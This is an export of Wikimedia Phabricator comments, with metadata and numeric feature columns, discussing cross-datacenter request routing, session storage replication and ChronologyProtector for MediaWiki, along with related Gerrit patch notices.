https://gerrit.wikimedia.org/r/661936",,,1612559513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,30.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,4.75,0.9,"Change 661936 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@REL1_35] Rename magic header to be consistent with WMF CDN infrastructure

GERRIT_URL"
1659794,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661934 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/core@REL1_35] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

https://gerrit.wikimedia.org/r/661934",,,1612559207,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.341463414634147,0.9024390243902439,"Change 661934 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/core@REL1_35] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

GERRIT_URL"
1659240,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661763 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Rename magic header to be consistent with WMF CDN infrastructure

https://gerrit.wikimedia.org/r/661763",,,1612481903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.5625,0.875,"Change 661763 **merged** by jenkins-bot:
[mediawiki/extensions/VisualEditor@master] Rename magic header to be consistent with WMF CDN infrastructure

GERRIT_URL"
1659239,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661760 **merged** by jenkins-bot:
[mediawiki/core@master] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

https://gerrit.wikimedia.org/r/661760",,,1612481900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,4.0606060606060606,0.8787878787878788,"Change 661760 **merged** by jenkins-bot:
[mediawiki/core@master] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

GERRIT_URL"
1658982,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661760 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/core@master] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

https://gerrit.wikimedia.org/r/661760",,,1612461306,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,4.317073170731708,0.9024390243902439,"Change 661760 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/core@master] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock

GERRIT_URL"
1658981,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661763 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] Rename magic header to be consistent with WMF CDN infrastructure

https://gerrit.wikimedia.org/r/661763",,,1612461278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,30.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,4.725,0.9,"Change 661763 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
[mediawiki/extensions/VisualEditor@master] Rename magic header to be consistent with WMF CDN infrastructure

GERRIT_URL"
1522342,Create HTTP verb and sticky cookie DC routing in VCL ,"I've updated the task descriptoin to include:
* the grandfathering of action=rollback (as agreed a few years ago),
* the exemption for CentralAuth autologin (recenly discussed in context of ChronologyProtector at T254634#6211514).",,,1591805572,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,257,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,16.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.568181818181818,0.8409090909090909,"I've updated the task descriptoin to include:
* the grandfathering of action=rollback (as agreed a few years ago),
* the exemption for CentralAuth autologin (recenly discussed in context of ChronologyProtector at T254634#6211514)."
1081038,Create HTTP verb and sticky cookie DC routing in VCL ,">>! On IRC, @tstarling wrote:
> <TimStarling> pity the SessionManager refactor did not add replication awareness

The SessionManager refactor was designed to allow any storage backend to be used, as long as someone implements a BagOStuff interface for it. If someone makes a replication-aware BagOStuff (or a wrapper like MultiWriteBagOStuff), SessionManager can use it.

At a glance it seems WANObjectCache (which is not a BagOStuff) won't work here because its `->set()` doesn't replicate either. WANObjectCache is stated to be intended as a cache on top of some other storage, primarily populated by `getWithSetCallback()`, rather than itself being the storage.

>>! In T91820#4259902, @tstarling wrote:
> Special:Userlogin starts a session on a GET request so that it can implement CSRF protection on the login form. And that's a localised page name so it's not easy to filter in VCL unless we change the URL in MediaWiki to something more predictable. Not sure if there are other cases, we'd need some sort of audit.

In general, to find things starting a session look for calls to a `MediaWiki\Session\Session` object's `->persist()` method. At a glance,

* Special:CreateAccount does the same as Special:UserLogin.
* The action API when used to fetch a login or createaccount token.
* CentralAuth's auto-login.
* CentralAuth (or OAuth or other extensions) triggering auto-creation of a local account, or if the auto-creation fails because the IP-user lacks the 'createaccount' and 'autocreateaccount' rights.

Also, if session data for an existing session changes that'll also trigger a write to the storage backend. And, as Aaron mentioned, the periodic keep-alive refresh on a request if the existing session is more than halfway to its expiration.",,,1528300409,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,0.6666666666666666,0.6666666666666666,0.0,1.3333333333333333,1.0,3.6666666666666665,1.0,0.6666666666666666,0.0,1.3333333333333333,2.3333333333333335,2.6666666666666665,0.0,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,11.333333333333334,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.3333333333333335,0.3333333333333333,2.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,14.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,8.666666666666666,2.3333333333333335,11.666666666666666,2.6666666666666665,2.6666666666666665,9.666666666666666,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,11.333333333333334,6.0,0.0,1.6666666666666667,0.0,2.0,0.0,1.0,5.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,4.1232736345005785,0.6769580326116013,"QUOTE
QUOTE

The SessionManager refactor was designed to allow any storage backend to be used, as long as someone implements a BagOStuff interface for it. If someone makes a replication-aware BagOStuff (or a wrapper like MultiWriteBagOStuff), SessionManager can use it.

At a glance it seems WANObjectCache (which is not a BagOStuff) won't work here because its CODE doesn't replicate either. WANObjectCache is stated to be intended as a cache on top of some other storage, primarily populated by CODE, rather than itself being the storage.

QUOTE
QUOTE

In general, to find things starting a session look for calls to a CODE object's CODE method. At a glance,

* Special:CreateAccount does the same as Special:UserLogin.
* The action API when used to fetch a login or createaccount token.
* CentralAuth's auto-login.
* CentralAuth (or OAuth or other extensions) triggering auto-creation of a local account, or if the auto-creation fails because the IP-user lacks the 'createaccount' and 'autocreateaccount' rights.

Also, if session data for an existing session changes that'll also trigger a write to the storage backend. And, as Aaron mentioned, the periodic keep-alive refresh on a request if the existing session is more than halfway to its expiration."
1080628,Create HTTP verb and sticky cookie DC routing in VCL ,">>! In T91820#4259902, @tstarling wrote:
> Special:Userlogin starts a session on a GET request so that it can implement CSRF protection on the login form. And that's a localised page name so it's not easy to filter in VCL unless we change the URL in MediaWiki to something more predictable. Not sure if there are other cases, we'd need some sort of audit. If session access is very rare in the secondary DC then could we just tunnel session access to the primary DC, instead of replicating? GET requests causing session creation would be slightly delayed, then the user would get their session cookie and be directed to the primary for subsequent requests.

Session writes are fairly rare (initialization and periodic preemptive refreshes). I suppose write access could be tunneled, with tricks to deal with replication delay. Tunneling all access would only be OK for some early iteration of deployment. 

Ideally, the session store could take writes from either DC and wait (without a sanity timeout) on the remote one. That was at least the idea I had in mind. I was hoping something like dynomite (redis based) could do the trick. The wmf package for that and something like https://gerrit.wikimedia.org/r/#/c/415789/ (except for sessions, not wancache, and with the ssl features enabled) could be used. The consistency models only support DC local ""quorum"" at most (https://github.com/Netflix/dynomite/wiki/Consistency) I something like ChronologyProtector's cpPosIndex could be used to avoid replication being raced out between the client making requests heterogeneously among the DCs. Since the cookie will be sent when the session is created, then some cookie could hold an index and be used to make MW wait a bit for a value with that index to appear in the session store.

An older idea was to explore using a small Cassandra cluster. That engine already has ""global quorum"" style writes as an option. See T134811.",,,1528267617,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1.0,1.0,0.0,2.6666666666666665,0.3333333333333333,4.666666666666667,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,3.6666666666666665,11.0,1.0,2.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,2.0,0.6666666666666666,0.6666666666666666,2.6666666666666665,1.6666666666666667,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.0,0.0,0.3333333333333333,0.0,0.0,0.0,13.666666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,7.333333333333333,4.333333333333333,9.333333333333334,1.3333333333333333,2.0,10.0,0.0,0.0,0.0,0.0,6.666666666666667,0.0,0.3333333333333333,0.0,1.3333333333333333,11.0,3.6666666666666665,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.3333333333333333,3.0,0.0,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,4.206751054852321,0.7627934653251108,"QUOTE
QUOTE

Session writes are fairly rare (initialization and periodic preemptive refreshes). I suppose write access could be tunneled, with tricks to deal with replication delay. Tunneling all access would only be OK for some early iteration of deployment. 

Ideally, the session store could take writes from either DC and wait (without a sanity timeout) on the remote one. That was at least the idea I had in mind. I was hoping something like dynomite (redis based) could do the trick. The wmf package for that and something like URL (except for sessions, not wancache, and with the ssl features enabled) could be used. The consistency models only support DC local ""quorum"" at most (URL I something like ChronologyProtector's cpPosIndex could be used to avoid replication being raced out between the client making requests heterogeneously among the DCs. Since the cookie will be sent when the session is created, then some cookie could hold an index and be used to make MW wait a bit for a value with that index to appear in the session store.

An older idea was to explore using a small Cassandra cluster. That engine already has ""global quorum"" style writes as an option. See T134811."
1080620,Create HTTP verb and sticky cookie DC routing in VCL ,"Special:Userlogin starts a session on a GET request so that it can implement CSRF protection on the login form. And that's a localised page name so it's not easy to filter in VCL unless we change the URL in MediaWiki to something more predictable. Not sure if there are other cases, we'd need some sort of audit. If session access is very rare in the secondary DC then could we just tunnel session access to the primary DC, instead of replicating? GET requests causing session creation would be slightly delayed, then the user would get their session cookie and be directed to the primary for subsequent requests.",,,1528265929,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1.0,0.5,1.0,1.5,1.0,5.5,1.0,0.0,0.0,2.0,2.5,0.5,0.0,1.0,0.5,2.0,1.0,6.5,11.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,2.0,1.0,3.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.5,0.5,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,3.5,1.5,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,11.5,4.5,1.0,0.0,0.0,3.5,0.0,0.0,1.5,0.0,1.5,0.5,0.0,0.0,4.225,0.7583333333333333,"Special:Userlogin starts a session on a GET request so that it can implement CSRF protection on the login form. And that's a localised page name so it's not easy to filter in VCL unless we change the URL in MediaWiki to something more predictable. Not sure if there are other cases, we'd need some sort of audit. If session access is very rare in the secondary DC then could we just tunnel session access to the primary DC, instead of replicating? GET requests causing session creation would be slightly delayed, then the user would get their session cookie and be directed to the primary for subsequent requests."
1079275,Create HTTP verb and sticky cookie DC routing in VCL ,">>! In T91820#4254387, @BBlack wrote:
> Well, a potential lesser goal that involves fewer moving parts would just be to loadbalance non-sessioned readonly requests (basically cache misses for GET/HEADs with no session token) across the sides, where we basically don't care if content is stale in the replication sense, and leave POST-like methods and all sessioned traffic master-only.

That's surely a less risky first step, and I think it's the best choice for now if we want to go on and turn this functionality on.",,,1528129707,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,3.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.3714285714285714,0.8857142857142857,"QUOTE
QUOTE

That's surely a less risky first step, and I think it's the best choice for now if we want to go on and turn this functionality on."
1079270,Create HTTP verb and sticky cookie DC routing in VCL ,"Well, a potential lesser goal that involves fewer moving parts would just be to loadbalance non-sessioned readonly requests (basically cache misses for GET/HEADs with no session token) across the sides, where we basically don't care if content is stale in the replication sense, and leave POST-like methods and all sessioned traffic master-only.",,,1528129302,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1.0,0.0,0.0,0.0,1.0,16.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,9.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,4.0,3.0,6.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,9.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,3.0,0.0,0.0,4.388059701492537,0.8805970149253731,"Well, a potential lesser goal that involves fewer moving parts would just be to loadbalance non-sessioned readonly requests (basically cache misses for GET/HEADs with no session token) across the sides, where we basically don't care if content is stale in the replication sense, and leave POST-like methods and all sessioned traffic master-only."
1079265,Create HTTP verb and sticky cookie DC routing in VCL ,">>! In T91820#4218746, @Krinkle wrote:
> There are cases where a cookie doesn't work (specifically, for the log-in use case where there are cross-origin redirects involved from wikipedia.org to login.wikimedia.org).
> 

Right. So we need a header that makes MediaWiki set a cookie I guess?

> But ignoring that for the moment, I would agree that it seems simpler to:
> 
> * On DB write in a request:
> ** write DB position to local ChronologyProtector store (e.g. memcached, or unreplicated redis).

Why local? We don't really have anything like an ""unreplicated redis""

> ** set cookies `cpPosIndex=..` and `UseDC=master` for the same amount of time.
> * On GET request in MediaWiki:
> **  Use ChronologyProtector to wait for any DB position from `cpPosIndex` (like now). Except that we'd use a dc-local CP store, only wait for dc-local DB lag, and don't wait at all if the CP store doesn't have the given key, because we know in that case that it is either already expired or otherwise permanently lost.
> 

Well, the whole point of what we're trying to do is to attempt not to give the users potentially stale content, not dc-local-not-stale.

Which also makes me wonder: do we need to let MediaWiki write to the sessions from the read-only datacenter? If so, that can't be done with our current session storage system (which has one-way replication only).
",,,1528129083,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,0.0,0.5,0.0,0.5,3.5,6.5,0.5,0.0,0.0,0.5,0.0,1.5,0.0,1.5,0.0,4.0,0.0,8.0,6.5,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,9.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,4.0,1.0,11.0,1.0,0.0,6.5,0.0,0.0,0.0,0.0,6.5,0.5,0.5,0.0,4.0,6.5,4.5,1.5,1.0,0.0,4.0,0.0,3.0,1.5,0.5,0.5,0.0,0.0,0.0,3.512148337595908,0.7014066496163682,"QUOTE
QUOTE
QUOTE

Right. So we need a header that makes MediaWiki set a cookie I guess?

QUOTE
QUOTE
QUOTE
QUOTE

Why local? We don't really have anything like an ""unreplicated redis""

QUOTE
QUOTE
QUOTE
QUOTE

Well, the whole point of what we're trying to do is to attempt not to give the users potentially stale content, not dc-local-not-stale.

Which also makes me wonder: do we need to let MediaWiki write to the sessions from the read-only datacenter? If so, that can't be done with our current session storage system (which has one-way replication only).
"
1070989,Create HTTP verb and sticky cookie DC routing in VCL ,"There are cases where a cookie doesn't work (specifically, for the log-in use case where there are cross-origin redirects involved from wikipedia.org to login.wikimedia.org).

But ignoring that for the moment, I would agree that it seems simpler to:

* On DB write in a request:
** write DB position to local ChronologyProtector store (e.g. memcached, or unreplicated redis).
** set cookies `cpPosIndex=..` and `UseDC=master` for the same amount of time.
* On GET request in MediaWiki:
**  Use ChronologyProtector to wait for any DB position from `cpPosIndex` (like now). Except that we'd use a dc-local CP store, only wait for dc-local DB lag, and don't wait at all if the CP store doesn't have the given key, because we know in that case that it is either already expired or otherwise permanently lost.

Instead of:
* On DB write in a request:
** write DB position to replicated ChronologyProtector store (redis).
** set cookies `cpPosIndex=..`
* On GET request in MediaWiki:
** If cpPosIndex is not known in local ChronologyProtector store, first wait/poll for the key to be replicated (if ever), with a timeout.
** Then, once we have that, wait again, for the actual DB position on the local slaves, with a timeout.

The main part that seems problematic here is the polling of the ChronologyProtector store. It's hard to distinguish an error scenario from a lagged scenario, and the impact is stalling user requests, which is very visible. E.g. for cases where the key isn't going to be replicated (already expired, got lost, corrupted client-side, or some other issue). Together each of these factors is fine, but they become somewhat fragile when combined: expiring data, replicated data, and client-side storing of the key.",,,1526804191,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,1.0,0.0,0.25,0.75,1.25,6.5,0.75,0.25,0.0,0.75,2.75,1.25,0.0,0.5,0.5,1.0,0.0,7.25,12.25,0.0,1.25,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.0,0.5,0.0,4.5,0.5,0.75,1.25,0.0,0.5,0.25,0.5,1.5,0.0,0.25,0.75,1.25,0.0,0.25,0.25,0.25,0.25,13.75,0.25,1.0,0.25,0.0,0.0,0.25,0.0,0.0,0.75,0.0,0.25,1.25,0.0,0.0,0.75,0.25,0.0,5.5,2.75,9.5,3.25,2.5,7.75,0.0,0.0,0.0,0.0,4.25,0.0,0.0,0.0,2.0,12.25,5.75,0.0,0.0,0.0,2.0,0.0,1.5,2.0,0.0,1.0,0.25,0.0,0.25,3.757418812989922,0.6718924972004479,"There are cases where a cookie doesn't work (specifically, for the log-in use case where there are cross-origin redirects involved from wikipedia.org to login.wikimedia.org).

But ignoring that for the moment, I would agree that it seems simpler to:

* On DB write in a request:
** write DB position to local ChronologyProtector store (e.g. memcached, or unreplicated redis).
** set cookies CODE and CODE for the same amount of time.
* On GET request in MediaWiki:
**  Use ChronologyProtector to wait for any DB position from CODE (like now). Except that we'd use a dc-local CP store, only wait for dc-local DB lag, and don't wait at all if the CP store doesn't have the given key, because we know in that case that it is either already expired or otherwise permanently lost.

Instead of:
* On DB write in a request:
** write DB position to replicated ChronologyProtector store (redis).
** set cookies CODE
* On GET request in MediaWiki:
** If cpPosIndex is not known in local ChronologyProtector store, first wait/poll for the key to be replicated (if ever), with a timeout.
** Then, once we have that, wait again, for the actual DB position on the local slaves, with a timeout.

The main part that seems problematic here is the polling of the ChronologyProtector store. It's hard to distinguish an error scenario from a lagged scenario, and the impact is stalling user requests, which is very visible. E.g. for cases where the key isn't going to be replicated (already expired, got lost, corrupted client-side, or some other issue). Together each of these factors is fine, but they become somewhat fragile when combined: expiring data, replicated data, and client-side storing of the key."
1070982,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 434034 abandoned by Tim Starling:
MW-Replica-Lag response header

Reason:
Probably not necessary given the other things that already exist

[[https://gerrit.wikimedia.org/r/434034]]",,,1526803589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,150,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,20.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,4.142857142857143,0.8285714285714286,"Change 434034 abandoned by Tim Starling:
MW-Replica-Lag response header

Reason:
Probably not necessary given the other things that already exist

[[GERRIT_URL]]"
1070961,Create HTTP verb and sticky cookie DC routing in VCL ,"ChronologyProtector uses ` MySQLMasterPos`, which can work both with a GTID-based master position or with the old binlog-based master position.

I'm not sure, from a very quick skim at the code, which of the two we use, but we need to use the MariaDB GTID everywhere or all requests to the non-master DC from a user with ChronologyProtector data in their session will succeed.

Also, our sessions are replicated by redis; There is no guarantee that the session will have less replication lag than MySql at the moment.

I am starting to wonder if the sticky cookie isn't a better idea.",,,1526792780,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,150,True,0.5,0.0,0.5,1.0,1.5,6.5,1.0,0.0,0.0,1.0,1.0,1.5,0.0,0.0,1.0,3.0,0.0,3.0,11.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,5.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,1.0,1.0,0.0,5.0,1.0,0.0,1.0,0.0,1.0,9.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,3.5,8.0,1.5,1.5,10.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,4.0,11.0,5.0,0.0,0.0,0.0,4.0,0.0,1.0,2.5,0.0,1.0,1.5,0.0,0.0,3.927185792349727,0.7692622950819672,"ChronologyProtector uses CODE, which can work both with a GTID-based master position or with the old binlog-based master position.

I'm not sure, from a very quick skim at the code, which of the two we use, but we need to use the MariaDB GTID everywhere or all requests to the non-master DC from a user with ChronologyProtector data in their session will succeed.

